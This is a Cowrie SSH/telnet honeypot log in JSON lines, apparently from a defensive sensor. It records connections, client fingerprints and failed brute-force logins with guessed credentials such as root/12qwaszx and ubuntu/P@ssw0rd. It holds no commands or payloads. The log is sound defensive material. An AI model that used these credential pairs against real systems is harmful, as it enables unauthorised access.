{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51134,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a39aefaa3a5","protocol":"ssh","message":"New connection: 91.92.42.227:51134 (10.17.0.5:22) [session: 8a39aefaa3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:33.784697Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35886,"dst_ip":"10.17.0.5","dst_port":22,"session":"d30759e61559","protocol":"ssh","message":"New connection: 45.156.87.147:35886 (10.17.0.5:22) [session: d30759e61559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:33.937613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:33.942199Z","src_ip":"45.156.87.147","session":"d30759e61559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:34.028883Z","src_ip":"45.156.87.147","session":"d30759e61559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:34.291533Z","src_ip":"45.156.87.147","session":"d30759e61559","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:34.655567Z","src_ip":"91.92.42.227","session":"8a39aefaa3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:34.659115Z","src_ip":"91.92.42.227","session":"8a39aefaa3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:35.377214Z","src_ip":"45.156.87.147","session":"d30759e61559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:37.368079Z","src_ip":"91.92.42.227","session":"8a39aefaa3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:39.145956Z","src_ip":"91.92.42.227","session":"8a39aefaa3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37174,"dst_ip":"10.17.0.5","dst_port":22,"session":"54cf1e79c8b2","protocol":"ssh","message":"New connection: 45.156.87.147:37174 (10.17.0.5:22) [session: 54cf1e79c8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:40.105905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:40.109940Z","src_ip":"45.156.87.147","session":"54cf1e79c8b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:40.196951Z","src_ip":"45.156.87.147","session":"54cf1e79c8b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53918,"dst_ip":"10.17.0.5","dst_port":22,"session":"32232a90b441","protocol":"ssh","message":"New connection: 91.92.42.227:53918 (10.17.0.5:22) [session: 32232a90b441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:40.401188Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:40.447458Z","src_ip":"45.156.87.147","session":"54cf1e79c8b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:41.187016Z","src_ip":"91.92.42.227","session":"32232a90b441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:41.190964Z","src_ip":"91.92.42.227","session":"32232a90b441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:41.534546Z","src_ip":"45.156.87.147","session":"54cf1e79c8b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:44.721698Z","src_ip":"91.92.42.227","session":"32232a90b441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37190,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2409d06b121","protocol":"ssh","message":"New connection: 45.156.87.147:37190 (10.17.0.5:22) [session: a2409d06b121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:46.545138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:46.553212Z","src_ip":"45.156.87.147","session":"a2409d06b121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:46.635451Z","src_ip":"45.156.87.147","session":"a2409d06b121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:46.736924Z","src_ip":"91.92.42.227","session":"32232a90b441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:46.887169Z","src_ip":"45.156.87.147","session":"a2409d06b121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34530,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4a83a68d16","protocol":"ssh","message":"New connection: 91.92.42.227:34530 (10.17.0.5:22) [session: 7d4a83a68d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:47.714352Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:47.979198Z","src_ip":"45.156.87.147","session":"a2409d06b121","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:48.294497Z","src_ip":"91.92.42.227","session":"7d4a83a68d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:48.297958Z","src_ip":"91.92.42.227","session":"7d4a83a68d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55128,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3491eb0142c","protocol":"telnet","message":"New connection: 128.199.8.54:55128 (159.203.135.109:23) [session: f3491eb0142c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:48.712503Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:50.979903Z","src_ip":"91.92.42.227","session":"7d4a83a68d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33772,"dst_ip":"10.17.0.5","dst_port":22,"session":"402ef6a14663","protocol":"ssh","message":"New connection: 45.156.87.147:33772 (10.17.0.5:22) [session: 402ef6a14663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:52.889465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:52.892835Z","src_ip":"45.156.87.147","session":"402ef6a14663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:53.013333Z","src_ip":"45.156.87.147","session":"402ef6a14663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:53.042598Z","src_ip":"91.92.42.227","session":"7d4a83a68d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:53.270723Z","src_ip":"45.156.87.147","session":"402ef6a14663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34602,"dst_ip":"10.17.0.5","dst_port":22,"session":"f67719445091","protocol":"ssh","message":"New connection: 91.92.42.227:34602 (10.17.0.5:22) [session: f67719445091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:54.033854Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:54.354357Z","src_ip":"45.156.87.147","session":"402ef6a14663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60742,"dst_ip":"159.203.135.109","dst_port":23,"session":"740eba12062f","protocol":"telnet","message":"New connection: 107.6.151.170:60742 (159.203.135.109:23) [session: 740eba12062f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:54.422830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:54.726847Z","src_ip":"91.92.42.227","session":"f67719445091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:54.730018Z","src_ip":"91.92.42.227","session":"f67719445091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:58.668585Z","src_ip":"91.92.42.227","session":"f67719445091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33800,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ea21484d48","protocol":"ssh","message":"New connection: 45.156.87.147:33800 (10.17.0.5:22) [session: 87ea21484d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:59.019538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:59.029190Z","src_ip":"45.156.87.147","session":"87ea21484d48","protocol":"ssh"}
